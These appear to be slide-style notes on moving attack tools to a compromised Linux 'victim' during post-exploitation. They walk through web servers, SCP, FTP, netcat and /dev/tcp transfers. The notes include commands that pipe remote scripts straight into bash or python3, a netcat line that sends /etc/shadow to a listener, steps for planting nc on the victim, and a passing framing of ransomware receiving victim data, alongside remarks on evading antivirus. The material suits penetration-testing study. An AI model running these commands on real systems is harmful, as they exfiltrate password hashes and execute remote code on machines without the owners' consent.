Linux File Transfer

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File Transfer

- In some cases, we may need to transfer attack tools and utilities to our target. However, transferring these tools can be dangerous for several reasons.

- First, our post-exploitation attack tools could be abused by malicious parties, which puts the client's resources at risk.
- It is extremely important to document uploads and remove them after the assessment is completed.

File Transfer

- Second, antivirus software, which scans endpoint filesystems in search of pre-defined file signatures, can become a huge frustration for us during this phase.
- This software, which is ubiquitous in most corporate environments, will detect our attack tools, quarantine them (rendering them useless), and alert a system administrator.
- If the system administrator is diligent, this will cost us a precious internal remote shell, or in extreme cases, signal the effective end of our engagement.

File Transfer

- Third , Suppose that you made ransomware and need to receive the data from victim , then you need to have the proper server and connection to receive all data
- There are many ways to transfer files as :
- Ftp , Web Transfers , Netcat , TFTP , SCP ,etc...

File Transfer

- Now let's start by web transfers as we will make apache server on our local machine and then upload all the tools required to attack the victim and once ordered the ip address all the tools would be downloaded automatically

File Transfer

- Let's start by installing Apache server on your device as :
- # sudo apt install apache2 -y
- # sudo systemctl start apache2
- # sudo systemctl enable apache2
- # sudo systemctl start httpd
- # sudo systemctl enable httpd

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- Then you can go to /var/www/html and then upload your tools or malwares as :
- # cd /var/www/html
- # cp ~/Desktop/malware.py /var/www/html/malware.py

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- And then you can download all files from hacker server to the victim device as :
- `# wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh`
- Or
- `# curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh`

File Transfer

- Also we can use :
- **Fileless Attacks Using Linux**
- Because of the way Linux works and how pipes operate, most of the tools we use in Linux can be used to replicate fileless operations, which means that we don't have to download a file to execute it.

File Transfer

- **Fileless Download with cURL**
- # curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

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- **Fileless Download with wget**
- # wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

File Transfer

- Also we can use ssh to download or upload but first we need to download ssh
- SSH (or Secure Shell) is a protocol that allows secure access to remote computers. SSH implementation comes with an SCP utility for remote file transfer that, by default, uses the SSH protocol.
- SCP (secure copy) is a command-line utility that allows you to copy files and directories between two hosts securely. We can copy our files from local to remote servers and from remote servers to our local machine.

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- SCP is very similar to copy or cp, but instead of providing a local path, we need to specify a username, the remote IP address or DNS name, and the user's credentials.

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- Let's start configuring ssh server
- # systemctl start ssh
- # systemctl enable ssh
- Let's check the port of ssh
- # netstat –lnpt

File Transfer

- Now we can begin transferring files. We need to specify the IP address of our Pwnbox and the username and password.
- Copy file from server to local machine
- # scp plaintext@192.168.49.128:/root/myroot.txt .
- Copy file from local machine to remote server
- # scp ./file.txt plaintext@192.168.49.128:/root/myroot.txt
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File Transfer

- **Linux - Creating a Web Server with Python3**
- # python3 -m http.server
- **Linux - Creating a Web Server with Python2.7**
- # python2.7 -m SimpleHTTPServer
- **Linux - Creating a Web Server with PHP**
- # php -S 0.0.0.0:8000

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- **Linux - Creating a Web Server with Ruby**
- # ruby -run -ehttpd . -p8000

- After uploading the file then we need to download the tools …
- # wget 192.168.49.128:8000/filetotransfer.txt

File Transfer

- **NetCat** to transfer files
- # nc -lvnp 4444 > copiedNetcatShadow.txt
- Once the Netcat listener receives a connection, the output will then be redirected to copiedNetcatShadow.txt.
- After establishing our SSH connection to the remote host, we can send the /etc/shadow file by adding an input redirection3 with the filename after the Netcat connection command.
- # nc 192.168.48.3 4444 < /etc/shadow

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- FTP to transfer files to and from the victim
- # sudo apt update && sudo apt install pure-ftpd
- # sudo groupadd ftpgroup

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- sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
- sudo pure-pw useradd offsec -u ftpuser -d /ftphome
- sudo pure-pw mkdb
- # cd /etc/pure-ftpd/auth/
- # sudo ln -s ../conf/PureDB 60pdb
- # sudo mkdir -p /ftphome
- # sudo chown -R ftpuser:ftpgroup /ftphome/
- # sudo systemctl restart pure-ftpd

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- Once you configured or found ftp server in the victim device
- hacker>$ cp /bin/nc .
- ftp> put nc
- Then go the victim device and change the permissions of nc
- # chmod +x nc
- # nc 192.168.1.15 4444

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File Transfer

- # **Download with Bash (/dev/tcp)**
- **Connect to the Target Webserver**
- # `exec 3<>/dev/tcp/10.10.10.32/80`
- **HTTP GET Request**
- # `echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3`
- **Print the Response**
- # `cat <&3`
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